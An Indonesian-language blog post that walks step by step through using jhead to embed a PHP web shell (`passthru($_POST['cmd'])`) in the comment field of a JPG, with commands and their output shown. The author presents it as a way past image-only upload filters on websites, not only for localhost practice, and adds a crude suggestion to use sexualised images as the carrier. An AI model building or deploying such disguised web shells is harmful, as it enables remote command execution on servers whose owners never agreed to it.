Manipulasi Backdoor PHP Script Ke Dalam Gambar Jpg

Assalamuallaikum wr.wb

masih semangat ? :p , semoga di postingan ini kalian jadi semangat. postingan kali ini gw mau share cara nyisipin script PHP kedalam gambar berekstensi JPG, emg bisa kak? bisa gan. kali ini gw postinga cuma sampai buat file backdoornya saja kalau kalian mau coba ATTACK bisa kalian lakukan di localhost sendiri. di beberapa website banyak'kan yang ga bisa upload PHP ? cuma bisa upload gambar, nah maka dari itu pake aja cara ini gan. ok langsung saja

bahan :

# gambar ".jpg"
# jhead "apt-get install jhead"

Langkah-langkahnya :

cari gambar jpg dulu di gugel , gw saranin cari gambar "jilboob"

jebret :p ketemu'lah gambar inceran gw . sekarang coba liat filenya pake jhead

[+] jhead namafile.jpg

File name    : jilboob.jpg
File size    : 46825 bytes
File date    : 2015:12:07 14:05:34
Resolution   : 437 x 604
JPEG Quality : 87
Comment      : http://www.27videos.com/

muncul comment di gambar, kita hilangkan commentnya / murnikan sebagai gambar.jpg

[+] jhead -purejpg jilboob.jpg

MODIFED , kita lanjut, masukin php script yang bisa kita eksekusi

[+] jhead -ce jilboob.jpg

script : <?php passthru($_POST['cmd']); __halt_compiler();